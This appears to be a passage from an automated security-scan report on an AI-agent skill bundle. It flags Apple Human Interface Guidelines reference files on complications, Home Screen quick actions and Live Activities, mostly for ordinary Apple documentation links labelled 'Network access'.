    [![](https://devimages-cdn.apple.com/wwdc-services/images/3055294D-836B-4513-B7B0-0BC5666246B0/4D88FD13-E491-4499-AA3F-8A84CF4BA607/9999_wide_250x141_1x.jpg) Design interactive snippets ](https://developer.apple.com/videos/play/wwdc2025/281
  • Network accessline 104
    [![](https://devimages-cdn.apple.com/wwdc-services/images/3055294D-836B-4513-B7B0-0BC5666246B0/05A21C8D-2A52-47BF-85A6-EB13E720EC85/9971_wide_250x141_1x.jpg) Get to know App Intents ](https://developer.apple.com/videos/play/wwdc2025/244)
  • Network accessline 106
    [![](https://devimages-cdn.apple.com/wwdc-services/images/C03E6E6D-A32A-41D0-9E50-C3C6059820AA/CD2BF2ED-403B-4831-9B5C-8A774D0EB7C7/9344_wide_250x141_1x.jpg) Bring your app’s core features to users with App Intents ](https://developer.apple
  • Network accessline 108
    ## [Change log](https://developer.apple.com/design/human-interface-guidelines/app-shortcuts#Change-log)

skills/hig-components-system/references/complications.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Complications | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/complications
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/complications
  • Network accessline 9
    ![A stylized representation of an Apple Watch face that includes the time and a set of differently sized complications with labels. The image is tinted red to subtly reflect the red in the original six-color Apple logo.](https://docs-assets
  • Network accessline 15
    Starting in watchOS 9, the system organizes complications (also known as _accessories_) into several families — like [circular](https://developer.apple.com/design/human-interface-guidelines/complications#Circular) and [inline](https://devel
  • Network accessline 19
    Prefer using [WidgetKit](https://developer.apple.com/documentation/WidgetKit) to develop complications for watchOS 9 and later. For guidance, see [Migrating ClockKit complications to WidgetKit](https://developer.apple.com/documentation/Widg
  • Network accessline 21
    ## [Best practices](https://developer.apple.com/design/human-interface-guidelines/complications#Best-practices)
  • Network accessline 27
    **Consider creating multiple complications for each family.** Supporting multiple complications helps you take advantage of shareable watch faces and lets people configure a watch face that’s centered on an app they love. For example, an ap
  • Network accessline 31
    **Keep privacy in mind.** With the Always-On Retina display, information on the watch face might be visible to people other than the wearer. Make sure you help people prevent potentially sensitive information from being visible to others. F
  • Network accessline 33
    **Carefully consider when to update data.** You provide a complication’s data in the form of a timeline where each entry has a value that specifies the time at which to display your data on the watch face. Different data sets might require 
  • Network accessline 35
    ## [Visual design](https://developer.apple.com/design/human-interface-guidelines/complications#Visual-design)
  • Network accessline 48
    **Make sure images look good in tinted mode.** In tinted mode, the system applies a solid color to a complication’s text, gauges, and images, and desaturates full-color images unless you provide tinted versions of them. For developer guidan
  • Network accessline 61
    **Provide a set of static placeholder images for each complication you support.** The system uses placeholder images when there’s no other content to display for your complication’s data. For example, when people first install your app, the
  • Network accessline 63
    ## [Circular](https://developer.apple.com/design/human-interface-guidelines/complications#Circular)
  • Network accessline 67
    ![A white musical notes icon displayed within a red circle. The circle’s outline is bright red for about ninety percent of the circumference and dull red for about ten percent, showing current progress.](https://docs-assets.developer.apple.
  • Network accessline 69
    ![The number one hundred in white text displayed within a green circle. The circle’s outline appears to overlap the starting point on the circumference by about five percent, showing current progress.](https://docs-assets.developer.apple.co
  • Network accessline 71
    ![The number one point zero in white text, surrounded by a partial circle that begins at about the 8:00 position and ends at about the 4:00 position. The partial circle’s outline shades from green at the 8:00 position to violet the 4:00 pos
  • Network accessline 73
    ![The number forty-two in white text, surrounded by a partial circle that begins at about the 8:00 position and ends at about the 4:00 position. The partial circle’s outline shades from blue at the 8:00 position to violet the 4:00 position.
  • Network accessline 75
    ![The number seventy-two in white text, surrounded by a partial circle that begins at about the 8:00 position and ends at about the 4:00 position. The partial circle’s outline shades from green at the 8:00 position to yellow the 4:00 positi
  • Network accessline 77
    ![An image of the breathe app icon.](https://docs-assets.developer.apple.com/published/f89731b0962fff02483c177a06a158e1/graphic-circular-image%402x.png)Image
  • Network accessline 79
    ![A sunset icon displayed above the time seven twenty-four PM, centered within a circular area.](https://docs-assets.developer.apple.com/published/77444d60c23fb81c91b3cca54fdd0bc3/complication-graphic-circular-stack%402x.png)Stack image
  • Network accessline 81
    ![Two lines of text centered within a circular area. The top line is the Apple stock symbol A A P L in white and the second line is the number 121.96 in green.](https://docs-assets.developer.apple.com/published/d91868e8b2928ef9ae237d15eb98f
  • Network accessline 85
    ![A line of white text that appears to follow the curve of the upper third of a circle. The text reads 8:00 AM yoga, flow studio. Centered below the text is the calendar date friday twenty-three displayed in a circular area.](https://docs-a
  • Network accessline 113
    ![A white musical notes icon displayed within a red circle. The circle’s outline is bright red for about sixty-six percent of the circumference and dull red for about ten percent, showing current progress.](https://docs-assets.developer.app
  • Network accessline 115
    ![The number one eighty-five in blue text displayed within a blue circle. The circle’s outline is bright blue for eighty-five percent of the circumference and dull blue for fifteen percent, showing current progress.](https://docs-assets.dev
  • Network accessline 117
    ![The number fifty in light-blue text, surrounded by a partial light-blue circle that includes a teardrop shape at the bottom.](https://docs-assets.developer.apple.com/published/0b73bd54f4052f97317b84828b8ff150/complication-graphic-xl-circu
  • Network accessline 119
    ![The number twenty-nine in green text, surrounded by a partial white circle that includes the letters A, Q, I in green text at the bottom.](https://docs-assets.developer.apple.com/published/8a6e7a02ffe907d8c0dd63ffb66e199a/complication-gra
  • Network accessline 121
    ![The number fifty-six in white text, surrounded by a partial circle that shades from green at the 8:00 position to red at the 4:00 position. Two numbers appear side by side at the bottom of the partial circle. Fifty-two appears in green te
  • Network accessline 123
    ![An image of the Breathe app icon.](https://docs-assets.developer.apple.com/published/78a8e3548c6f994f9565cd2e4b4e103b/complication-graphic-xl-circular-image%402x.png)Image
  • Network accessline 125
    ![A red sunset icon displayed above the time seven twenty-four PM, centered within a circular area.](https://docs-assets.developer.apple.com/published/77444d60c23fb81c91b3cca54fdd0bc3/complication-graphic-xl-circular-stack-image%402x.png)St
  • Network accessline 127
    ![Two lines of text centered within a circular area. The top line is the Apple stock symbol A A P L in white and the second line is the number 121.96 in green.](https://docs-assets.developer.apple.com/published/d91868e8b2928ef9ae237d15eb98f
  • Network accessline 161
    ## [Corner](https://developer.apple.com/design/human-interface-guidelines/complications#Corner)
  • Network accessline 165
    ![An icon showing a yellow sun partially obscured by a white cloud within a circular area.](https://docs-assets.developer.apple.com/published/d2505fe8bcd6129c02eee89133fae163/corner-circular-image%402x.png)Circular image
  • Network accessline 167
    ![The value fourteen minutes and fifty-nine seconds displayed next to a thin solid bar. The text and the bar appear to follow the curve of the bottom-right quadrant of a circle. The timer app icon appears below the time value.](https://docs
  • Network accessline 169
    ![The weather values fifty-five, shown in green, and seventy-six, shown in orange, displayed with a shaded solid bar between them. The bar shades from green to orange to match the values. The text and the bar appear to follow the curve of t
  • Network accessline 171
    ![Two lines of text, both of which appear to follow the curve of the top-left quadrant of a circle. The top line contains the word cup in large white text. The bottom line contains the time ten oh nine AM followed by a plus sign and zero ho
  • Network accessline 173
    ![A line displaying zero hours, zero minutes, and zero seconds in orange text. The line appears to follow the curve of the bottom-left quadrant of a circle. The  stopwatch app icon appears below the line of text.](https://docs-assets.develo
  • Network accessline 204
    ## [Inline](https://developer.apple.com/design/human-interface-guidelines/complications#Inline)
  • Network accessline 210
    ![The letters L, O, N displayed above the time six oh nine.](https://docs-assets.developer.apple.com/published/269280772375293a9bba7c48384bbc81/complication-utility-small-flat%402x.png)Flat
  • Network accessline 212
    ![Two tear drop icons, each centered within a partial ring.](https://docs-assets.developer.apple.com/published/3321ec0b2fcd3a1aa7d7e50b082a82e2/complication-utility-small-ring-image%402x.png)Ring image
  • Network accessline 214
    ![Two partial rings, each displaying the number sixty-three centered within them.](https://docs-assets.developer.apple.com/published/2fc1e12d51df2d6c708385b7d33ae3ad/complication-utility-small-ring-text%402x.png)Ring text
  • Network accessline 216
    ![An image of the moon.](https://docs-assets.developer.apple.com/published/2316eb7e29bc98cbe606a332543e41ac/complication-utility-small-square%402x.png)Square
  • Network accessline 228
    ![The text eleven AM photo shoot displayed on one line in a large text size.](https://docs-assets.developer.apple.com/published/71cce6286d76ea16f2821b0cfdcb453e/complication-utility-large-flat%402x.png)Large flat
  • Network accessline 236
    ## [Rectangular](https://developer.apple.com/design/human-interface-guidelines/complications#Rectangular)
  • Network accessline 246
    * By using [intents](https://developer.apple.com/documentation/appintents/app-intents) to specify relevancy, and help ensure that your widget is displayed in the Smart Stack at times that are most appropriate and useful to people
  • Network accessline 253
    For developer guidance, see [`WidgetFamily.accessoryRectangular`](https://developer.apple.com/documentation/WidgetKit/WidgetFamily/accessoryRectangular). See [Widgets](https://developer.apple.com/design/human-interface-guidelines/widgets) f
  • Network accessline 255
    ![Three lines of left-aligned text. The first line uses blue text to display the words water reminders. The second line uses white text to display the words thirty-two ounces consumed. The third line uses gray text to display the words four
  • Network accessline 257
    ![Two lines of text displayed above a bar that can fill with color to indicate progress. The first line uses blue text to display a tear drop icon followed by the words water reminder. The second line uses white text to display the words th
  • Network accessline 259
    ![A line of text displayed above a graph. The text displays in white the words sixty-eight B, P, M, followed by the words two minutes ago, in red text. The graph shows many heart rate values over time.](https://docs-assets.developer.apple.c
  • Network accessline 285
    ## [Legacy templates](https://developer.apple.com/design/human-interface-guidelines/complications#Legacy-templates)
  • Network accessline 287
    ### [Circular small](https://developer.apple.com/design/human-interface-guidelines/complications#Circular-small)
  • Network accessline 291
    ![A tear drop icon centered within a partial ring.](https://docs-assets.developer.apple.com/published/099b811bae2a48a89ccd01a8a526dc78/complication-circular-small-ring-image%402x.png)Ring image
  • Network accessline 293
    ![The number sixty-three centered within a partial ring.](https://docs-assets.developer.apple.com/published/1e800aa127d18b31519bf181383bf13f/complication-circular-small-ring-text%402x.png)Ring text
  • Network accessline 295
    ![A stopwatch icon centered within a circular area.](https://docs-assets.developer.apple.com/published/ea77fbe94ab1c99437b6f05635904912/complication-circular-small-simple-image%402x.png)Simple image
  • Network accessline 297
    ![The number sixty-eight and the degree symbol centered within a circular area.](https://docs-assets.developer.apple.com/published/a5f5c73d96c14ed8b45d4ed14cf5d3fe/complication-circular-small-simple-text%402x.png)Simple text
  • Network accessline 299
    ![A sunset icon displayed above the time seven twenty-four PM, centered within a circular area.](https://docs-assets.developer.apple.com/published/bdbfa5a07a29ae3c91413454c0d45f5c/complication-circular-small-stack-image%402x.png)Stack image
  • Network accessline 301
    ![The letters L, O, N displayed above the time six oh nine.](https://docs-assets.developer.apple.com/published/0bc5cc4c6505b400a2b3ed317c47293c/complication-circular-small-stack-text%402x.png)Stack text
  • Network accessline 316
    ### [Modular small](https://developer.apple.com/design/human-interface-guidelines/complications#Modular-small)
  • Network accessline 320
    ![Text and numbers arranged in a two-row column. The top row displays the letters C and P and the number fourteen. The bottom row displays the letters M and H and the number twenty-eight.](https://docs-assets.developer.apple.com/published/d
  • Network accessline 322
    ![A tear drop icon centered within a partial ring.](https://docs-assets.developer.apple.com/published/f89c9c4226b921580000237320197983/complication-modular-small-ring-image%402x.png)Ring image
  • Network accessline 324
    ![The number sixty-three centered within a partial ring.](https://docs-assets.developer.apple.com/published/e9e15b071c1e272ef99ee09a583d6214/complication-modular-small-ring-text%402x.png)Ring text
  • Network accessline 326
    ![An image of the moon.](https://docs-assets.developer.apple.com/published/d5a7bd5314f4a682df263d9f32224665/complication-modular-small-simple-image%402x.png)Simple image
  • Network accessline 328
    ![The number sixty-eight and the degree symbol.](https://docs-assets.developer.apple.com/published/ea5c2c9f8f7d19da47f656816d13ccc4/complication-modular-small-simple-text%402x.png)Simple text
  • Network accessline 330
    ![A sunset icon displayed above the time seven twenty-four PM.](https://docs-assets.developer.apple.com/published/74d96206654ce136baea6153f8f5916e/complication-modular-small-stack-image%402x.png)Stack image
  • Network accessline 332
    ![The letters L, O, N displayed above the time six oh nine.](https://docs-assets.developer.apple.com/published/82cbeeb9536e51537483b6eb9294955d/complication-modular-small-stack-text%402x.png)Stack text
  • Network accessline 347
    ### [Modular large](https://developer.apple.com/design/human-interface-guidelines/complications#Modular-large)
  • Network accessline 351
    ![Activity-related information displayed in a three-row column. The top row displays a calorie count of 396 out of 660. The middle row displays a minute count of 13 out of 30. The bottom row displays an hour count of 3 out of 12.](https://d
  • Network accessline 353
    ![Weather-related information displayed in three left-aligned lines of text. The top row displays the location Cupertino California. The middle row displays sixty-eight degrees and cloudy. The bottom row displays a forecast high of seventy-
  • Network accessline 355
    ![Sports-related information displayed in a two-column, two-row table with a title. The table title is Final Score. The first table row contains the number 14 followed by the text Central Prep. The second table row contains the number 28 fo
  • Network accessline 357
    ![Calendar-related information displayed in two lines of fully justified text. The first line displays the word wednesday. The second line displays the abbreviation mar and the number nine in text that is about twice as tall as the text in 
  • Network accessline 367
    ### [Extra large](https://developer.apple.com/design/human-interface-guidelines/complications#Extra-large)
  • Network accessline 371
    ![A tear drop icon centered within a partial ring.](https://docs-assets.developer.apple.com/published/f89c9c4226b921580000237320197983/complication-extralarge-ring-image%402x.png)Ring image
  • Network accessline 373
    ![The number sixty-three centered within a partial ring.](https://docs-assets.developer.apple.com/published/e9e15b071c1e272ef99ee09a583d6214/complication-extralarge-ring-text%402x.png)Ring text
  • Network accessline 375
    ![An image of the moon.](https://docs-assets.developer.apple.com/published/d5a7bd5314f4a682df263d9f32224665/complication-extralarge-simple-image%402x.png)Simple image
  • Network accessline 377
    ![The number sixty-eight and the degree symbol.](https://docs-assets.developer.apple.com/published/ea5c2c9f8f7d19da47f656816d13ccc4/complication-extralarge-simple-text%402x.png)Simple text
  • Network accessline 379
    ![A sunset icon displayed above the time seven twenty-four PM.](https://docs-assets.developer.apple.com/published/74d96206654ce136baea6153f8f5916e/complication-extralarge-stack-image%402x.png)Stack image
  • Network accessline 381
    ![The letters L, O, N displayed above the time six oh nine.](https://docs-assets.developer.apple.com/published/82cbeeb9536e51537483b6eb9294955d/complication-extralarge-stack-text%402x.png)Stack text
  • Network accessline 396
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/complications#Platform-considerations)
  • Network accessline 400
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/complications#Resources)
  • Network accessline 402
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/complications#Related)
  • Network accessline 404
    [Watch faces](https://developer.apple.com/design/human-interface-guidelines/watch-faces)
  • Network accessline 406
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/complications#Developer-documentation)
  • Network accessline 408
    [WidgetKit](https://developer.apple.com/documentation/WidgetKit)
  • Network accessline 410
    #### [Videos](https://developer.apple.com/design/human-interface-guidelines/complications#Videos)
  • Network accessline 412
    [![](https://devimages-cdn.apple.com/wwdc-services/images/D35E0E85-CCB6-41A1-B227-7995ECD83ED5/56D03FE8-0566-429A-81D2-2F6566031498/8390_wide_250x141_1x.jpg) Design widgets for the Smart Stack on Apple Watch ](https://developer.apple.com/vi
  • Network accessline 414
    [![](https://devimages-cdn.apple.com/wwdc-services/images/124/34240770-1E20-456E-907F-3D06D6C87AFE/6544_wide_250x141_1x.jpg) Go further with Complications in WidgetKit ](https://developer.apple.com/videos/play/wwdc2022/10051)
  • Network accessline 416
    [![](https://devimages-cdn.apple.com/wwdc-services/images/124/A37E04FC-826F-44B5-A5D8-36B41E5F73E5/6543_wide_250x141_1x.jpg) Complications and widgets: Reloaded ](https://developer.apple.com/videos/play/wwdc2022/10050)
  • Network accessline 418
    ## [Change log](https://developer.apple.com/design/human-interface-guidelines/complications#Change-log)

skills/hig-components-system/references/home-screen-quick-actions.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Home Screen quick actions | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/home-screen-quick-actions
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/home-screen-quick-actions
  • Network accessline 9
    ![A stylized representation of a set of menu items extending up from an app icon. The image is tinted red to subtly reflect the red in the original six-color Apple logo.](https://docs-assets.developer.apple.com/published/2dfd04b8dd39ab0d828
  • Network accessline 15
    ## [Best practices](https://developer.apple.com/design/human-interface-guidelines/home-screen-quick-actions#Best-practices)
  • Network accessline 23
    **Provide a familiar interface icon for each quick action.** Prefer using [SF Symbols](https://developer.apple.com/design/human-interface-guidelines/sf-symbols) to represent actions. For a list of icons that represent common actions, see [S
  • Network accessline 25
    If you design your own interface icon, use the Quick Action Icon Template that’s included with [Apple Design Resources for iOS and iPadOS](https://developer.apple.com/design/resources/#ios-apps).
  • Network accessline 29
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/home-screen-quick-actions#Platform-considerations)
  • Network accessline 33
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/home-screen-quick-actions#Resources)
  • Network accessline 35
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/home-screen-quick-actions#Related)
  • Network accessline 37
    [Menus](https://developer.apple.com/design/human-interface-guidelines/menus)
  • Network accessline 39
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/home-screen-quick-actions#Developer-documentation)
  • Network accessline 41
    [Add Home Screen quick actions](https://developer.apple.com/documentation/UIKit/add-home-screen-quick-actions) — UIKit

skills/hig-components-system/references/live-activities.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Live Activities | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/live-activities
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/live-activities
  • Network accessline 9
    ![A stylized representation of the Dynamic Island, in collapsed and expanded form, displaying the score of a live sporting event. The image is tinted red to subtly reflect the red in the original six-color Apple logo.](https://docs-assets.d
  • Network accessline 24
    ## [Anatomy](https://developer.apple.com/design/human-interface-guidelines/live-activities#Anatomy)
  • Network accessline 28
    * [Compact](https://developer.apple.com/design/human-interface-guidelines/live-activities#Compact)
  • Network accessline 30
    * [Minimal](https://developer.apple.com/design/human-interface-guidelines/live-activities#Minimal)
  • Network accessline 32
    * [Expanded](https://developer.apple.com/design/human-interface-guidelines/live-activities#Expanded)
  • Network accessline 34
    * [Lock Screen](https://developer.apple.com/design/human-interface-guidelines/live-activities#Lock-Screen)
  • Network accessline 41
    ### [Compact](https://developer.apple.com/design/human-interface-guidelines/live-activities#Compact)
  • Network accessline 45
    ![An illustration that shows the compact leading and compact trailing views in the Dynamic Island.](https://docs-assets.developer.apple.com/published/4992561b879b5788db4f1f0360f88c38/type-compact%402x.png)
  • Network accessline 47
    For design guidance, see [Compact presentation](https://developer.apple.com/design/human-interface-guidelines/live-activities#Compact-presentation).
  • Network accessline 49
    ### [Minimal](https://developer.apple.com/design/human-interface-guidelines/live-activities#Minimal)
  • Network accessline 53
    ![An illustration that shows the minimal presentation in the Dynamic Island.](https://docs-assets.developer.apple.com/published/f90f614f67e66940fa8a3e8ca861b4d9/type-minimal%402x.png)
  • Network accessline 55
    For design guidance, see [Minimal presentation](https://developer.apple.com/design/human-interface-guidelines/live-activities#Minimal-presentation).
  • Network accessline 57
    ### [Expanded](https://developer.apple.com/design/human-interface-guidelines/live-activities#Expanded)
  • Network accessline 61
    ![An illustration that shows the expanded view in the Dynamic Island.](https://docs-assets.developer.apple.com/published/4e5af6b7073ffa8245e0efd5e6815f0d/type-expanded%402x.png)
  • Network accessline 63
    For design guidance, see [Expanded presentation](https://developer.apple.com/design/human-interface-guidelines/live-activities#Expanded-presentation).
  • Network accessline 65
    ### [Lock Screen](https://developer.apple.com/design/human-interface-guidelines/live-activities#Lock-Screen)
  • Network accessline 69
    ![A screenshot of a Live Activity on the Lock Screen of iPhone that supports the Dynamic Island.](https://docs-assets.developer.apple.com/published/fe50abc1d4dff465883107ba9448a19a/live-activity-lock-screen%402x.png)
  • Network accessline 73
    ![A screenshot of a Live Activity that appears as a banner on the Home Screen of iPhone without Dynamic Island support.](https://docs-assets.developer.apple.com/published/2b1fef03830a1927b085c2efb8ddcaf9/live-activity-notch%402x.png)
  • Network accessline 75
    For design guidance, see [Lock Screen presentation](https://developer.apple.com/design/human-interface-guidelines/live-activities#Lock-Screen-presentation).
  • Network accessline 77
    ### [StandBy](https://developer.apple.com/design/human-interface-guidelines/live-activities#StandBy)
  • Network accessline 81
    ![An image that shows the Lock Screen presentation of a Live Activity in StandBy, scaled up by 2x, with a dotted border to indicate the 2x scaling of the Live Activity.](https://docs-assets.developer.apple.com/published/fbbd5973af16593f3fd5
  • Network accessline 83
    For design guidance, see [StandBy presentation](https://developer.apple.com/design/human-interface-guidelines/live-activities#StandBy-presentation).
  • Network accessline 85
    ## [Best practices](https://developer.apple.com/design/human-interface-guidelines/live-activities#Best-practices)
  • Network accessline 93
    **Avoid displaying sensitive information.** Live Activities are prominently visible and could be viewed by casual observers; for example, on the Lock Screen or in the Always-On display. For content people might consider sensitive or private
  • Network accessline 103
    ![An illustration that shows text in the Dynamic Island that's small and difficult to read.](https://docs-assets.developer.apple.com/published/6305527c5b59013de149075e4a20a138/live-activities-text-incorrect-size%402x.png)
  • Network accessline 105
    ![An X in a circle to indicate incorrect usage.](https://docs-assets.developer.apple.com/published/209f6f0fc8ad99d9bf59e12d82d06584/crossout%402x.png)
  • Network accessline 107
    ![An illustration that shows text in the Dynamic Island with heavier weights and legible size.](https://docs-assets.developer.apple.com/published/1cdb8d4deff3d5465cf4c71642bc94de/live-activities-text-correct-size%402x.png)
  • Network accessline 109
    ![A checkmark in a circle to indicate correct usage.](https://docs-assets.developer.apple.com/published/88662da92338267bb64cd2275c84e484/checkmark%402x.png)
  • Network accessline 111
    ### [Creating Live Activity layouts](https://developer.apple.com/design/human-interface-guidelines/live-activities#Creating-Live-Activity-layouts)
  • Network accessline 113
    **Adapt to different screen sizes and presentations.** Live Activities scale to fit various device screens. Create layouts and assets for various devices and scale factors, recognizing that the actual size on screen may vary or change. Ensu
  • Network accessline 117
    **Use familiar layouts for custom views and layouts.** Templates with default system margins and recommended text sizes are available in [Apple Design Resources](https://developer.apple.com/design/resources/). Using them helps your Live Act
  • Network accessline 119
    ![An illustration that shows content in the Dynamic Island with even margins.](https://docs-assets.developer.apple.com/published/08f636dea59d0355bbc0c42d67026509/live-activities-margins%402x.png)
  • Network accessline 121
    **Use consistent margins and concentric placement.** Use even, matching margins between rounded shapes and the edges of the Live Activity, including corners, to ensure a harmonious fit. This prevents elements from poking into the rounded sh
  • Network accessline 123
    ![An illustration a Live Activity that draws content to the edge of the Dynamic Island.](https://docs-assets.developer.apple.com/published/881638db784a565ec2af57941e8dec5d/live-activities-rounded-shapes%402x.png)
  • Network accessline 127
    ![An illustration that shows how a Live Activity places an icon too far from the edge of the Dynamic Island.](https://docs-assets.developer.apple.com/published/f6ab85a99b55f39774f71e5f03d22455/live-activities-content-incorrect-position%402x
  • Network accessline 129
    ![An X in a circle to indicate incorrect usage.](https://docs-assets.developer.apple.com/published/209f6f0fc8ad99d9bf59e12d82d06584/crossout%402x.png)
  • Network accessline 131
    ![An illustration that shows how a Live Activity places an icon close to the edge of the Dynamic Island without poking into the rounded shape of the Dynamic Island.](https://docs-assets.developer.apple.com/published/c533297be7133d3ebeb70eaa
  • Network accessline 133
    ![A checkmark in a circle to indicate correct usage.](https://docs-assets.developer.apple.com/published/88662da92338267bb64cd2275c84e484/checkmark%402x.png)
  • Network accessline 137
    ![An illustration that shows how a Live Activity draws content all the way to the edge of the Dynamic Island to separate content.](https://docs-assets.developer.apple.com/published/555c74e1fb1cdbb7a7f26c4da9a86cc8/live-activities-separating
  • Network accessline 139
    ![An X in a circle to indicate incorrect usage.](https://docs-assets.developer.apple.com/published/209f6f0fc8ad99d9bf59e12d82d06584/crossout%402x.png)
  • Network accessline 141
    ![An illustration of a Live Activity with content in an inset, rounded shape to group it together.](https://docs-assets.developer.apple.com/published/2efb360240b1bfe7f7eac8e7a5a72748/live-activities-separating-content-pill%402x.png)
  • Network accessline 143
    ![A checkmark in a circle to indicate correct usage.](https://docs-assets.developer.apple.com/published/88662da92338267bb64cd2275c84e484/checkmark%402x.png)
  • Network accessline 145
    ![An illustration of a Live Activity that uses a line to separate a block of content.](https://docs-assets.developer.apple.com/published/2494f07e0a4653b67e75bd967c32fb93/live-activities-separating-content-separator%402x.png)
  • Network accessline 147
    ![A checkmark in a circle to indicate correct usage.](https://docs-assets.developer.apple.com/published/88662da92338267bb64cd2275c84e484/checkmark%402x.png)
  • Network accessline 153
    ![An illustration that shows a Live Activity with blurred text that's too far from the edge of the Dynamic Island.](https://docs-assets.developer.apple.com/published/803af1a5bf16d67d55e8f71b7e45bf1e/live-activities-blur-content-incorrect-po
  • Network accessline 155
    ![An X in a circle to indicate incorrect usage.](https://docs-assets.developer.apple.com/published/209f6f0fc8ad99d9bf59e12d82d06584/crossout%402x.png)
  • Network accessline 157
    ![An illustration that shows a Live Activity with blurred text that's close to the edge of the Dynamic Island without poking into the rounded shape of the Dynamic Island.](https://docs-assets.developer.apple.com/published/f616e49dc9d2ab9564
  • Network accessline 159
    ![A checkmark in a circle to indicate correct usage.](https://docs-assets.developer.apple.com/published/88662da92338267bb64cd2275c84e484/checkmark%402x.png)
  • Network accessline 163
    ### [Choosing colors](https://developer.apple.com/design/human-interface-guidelines/live-activities#Choosing-colors)
  • Network accessline 169
    **Tint your Live Activity’s key line color so that it matches your content.** When the background is dark — for example, in Dark Mode — a key line appears around the Dynamic Island to distinguish it from other content. Choose a key line col
  • Network accessline 171
    ### [Adding transitions and animating content updates](https://developer.apple.com/design/human-interface-guidelines/live-activities#Adding-transitions-and-animating-content-updates)
  • Network accessline 181
    For developer guidance, see [Animating data updates in widgets and Live Activities](https://developer.apple.com/documentation/WidgetKit/Animating-data-updates-in-widgets-and-live-activities).
  • Network accessline 183
    ### [Offering interactivity](https://developer.apple.com/design/human-interface-guidelines/live-activities#Offering-interactivity)
  • Network accessline 185
    **Make sure tapping the Live Activity opens your app at the right location.** Take people directly to related details and actions — don’t make them navigate to find relevant information. For developer guidance on SwiftUI views that support 
  • Network accessline 191
    ### [Starting, updating, and ending a Live Activity](https://developer.apple.com/design/human-interface-guidelines/live-activities#Starting-updating-and-ending-a-Live-Activity)
  • Network accessline 195
    **Offer an App Shortcut that starts your Live Activity.** App Shortcuts expose functionality to the system, allowing access in various contexts. For example, create an App Shortcut that allows people to start your Live Activity using the Ac
  • Network accessline 203
    **Always end a Live Activity immediately when the task or event ends, and consider setting a custom dismissal time.** When a Live Activity ends, the system immediately removes it from the Dynamic Island and in CarPlay. On the Lock Screen, i
  • Network accessline 205
    ## [Presentation](https://developer.apple.com/design/human-interface-guidelines/live-activities#Presentation)
  • Network accessline 209
    **Start with the iPhone design, then refine it for other contexts.** Create standard designs for each presentation first. Then, depending on the functionality that your Live Activity provides, design additional custom layouts for specific c
  • Network accessline 211
    ### [Compact presentation](https://developer.apple.com/design/human-interface-guidelines/live-activities#Compact-presentation)
  • Network accessline 219
    ![An illustration that shows a compact presentation that appears unbalanced and too wide because it uses padding around the TrueDepth camera.](https://docs-assets.developer.apple.com/published/51a8d7f39e6868d94bdc97170aaa48d2/live-activitie
  • Network accessline 221
    ![An X in a circle to indicate incorrect usage.](https://docs-assets.developer.apple.com/published/209f6f0fc8ad99d9bf59e12d82d06584/crossout%402x.png)
  • Network accessline 223
    ![An illustration that shows a compact presentation that’s snug around the TrueDepth camera.](https://docs-assets.developer.apple.com/published/b8e383ef2dd391dab4fee6383311d9a5/live-activities-balanced-content%402x.png)
  • Network accessline 225
    ![A checkmark in a circle to indicate correct usage.](https://docs-assets.developer.apple.com/published/88662da92338267bb64cd2275c84e484/checkmark%402x.png)
  • Network accessline 229
    ### [Minimal presentation](https://developer.apple.com/design/human-interface-guidelines/live-activities#Minimal-presentation)
  • Network accessline 233
    ### [Expanded presentation](https://developer.apple.com/design/human-interface-guidelines/live-activities#Expanded-presentation)
  • Network accessline 239
    ![An illustration that shows an expanded presentation of a Live Activity that leaves empty space next to the TrueDepth camera.](https://docs-assets.developer.apple.com/published/5e156a4d49df18dd990d45ba5f6e7f22/live-activities-layout-incorr
  • Network accessline 241
    ![An X in a circle to indicate incorrect usage.](https://docs-assets.developer.apple.com/published/209f6f0fc8ad99d9bf59e12d82d06584/crossout%402x.png)
  • Network accessline 243
    ![An illustration that shows an expanded presentation of a Live Activity that uses the space next to the TrueDepth camera.](https://docs-assets.developer.apple.com/published/9bbe31974cd97e499ef7e6606e195bca/live-activities-layout-correct%40
  • Network accessline 245
    ![A checkmark in a circle to indicate correct usage.](https://docs-assets.developer.apple.com/published/88662da92338267bb64cd2275c84e484/checkmark%402x.png)
  • Network accessline 247
    ### [Lock Screen presentation](https://developer.apple.com/design/human-interface-guidelines/live-activities#Lock-Screen-presentation)
  • Network accessline 253
    **Make sure your design, assets, and colors look great and offer enough contrast in Dark Mode and on an Always-On display.** By default, a Live Activity on the Lock Screen uses a light background color in the light appearance and a dark bac
  • Network accessline 255
    **Verify the generated color of the dismiss button.** The system automatically generates a matching dismiss button based on the background and foreground colors of your Live Activity. Verify that the generated color matches your design and 
  • Network accessline 257
    **Use standard margins to align your design with notifications.** The standard layout margin for Live Activities on the Lock Screen is 14 points. While tighter margins may be appropriate for elements like graphics or buttons, avoid crowding
  • Network accessline 259
    ### [StandBy presentation](https://developer.apple.com/design/human-interface-guidelines/live-activities#StandBy-presentation)
  • Network accessline 261
    **Update your layout for StandBy.** Make sure assets look great at the larger scale, and consider creating a custom layout that makes use of the extra space. For developer guidance, see [Creating custom views for Live Activities](https://de
  • Network accessline 269
    ![A Live Activity, scaled to fill the screen on iPhone in StandBy.](https://docs-assets.developer.apple.com/published/c7f65b20bec28281075a61264019fe50/live-activity-standby-night-mode%402x.png)
  • Network accessline 271
    ## [CarPlay](https://developer.apple.com/design/human-interface-guidelines/live-activities#CarPlay)
  • Network accessline 275
